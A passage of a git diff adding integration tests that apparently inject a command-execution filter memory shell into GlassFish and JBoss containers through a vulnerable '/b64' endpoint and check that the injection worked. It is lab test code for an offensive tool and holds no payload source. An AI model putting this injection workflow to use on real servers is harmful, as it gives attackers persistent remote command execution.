import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.BeforeAll;
|
import org.junit.jupiter.api.BeforeAll;
|
||||||
@@ -16,9 +23,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -76,4 +87,21 @@ public class GlassFish6ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
@@ -17,9 +24,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -82,4 +93,21 @@ public class GlassFish7ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+29
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -70,4 +81,22 @@ public class Jboss423ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -69,4 +80,21 @@ public class Jboss510ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -69,4 +80,21 @@ public class Jboss610ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -69,4 +80,21 @@ public class Jboss711ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+25
@@ -2,8 +2,14 @@ package com.reajason.javaweb.integration.probe.jbosseap;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,9 +21,11 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -69,4 +77,21 @@ public class JbossEap6ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+33
@@ -2,10 +2,17 @@ package com.reajason.javaweb.integration.probe.jbosseap;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.hamcrest.Matchers.*;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -35,6 +46,11 @@ public class JbossEap7ContainerTest {
|
|||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
public static void tearDown() {
|
||||||
|
log.info(container.getLogs());
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void testJDK() {
|
void testJDK() {
|
||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
@@ -70,4 +86,21 @@ public class JbossEap7ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+27
-1
@@ -2,8 +2,14 @@ package com.reajason.javaweb.integration.probe.jbosseap;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,8 +21,11 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -69,4 +78,21 @@ public class JbossEap81ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
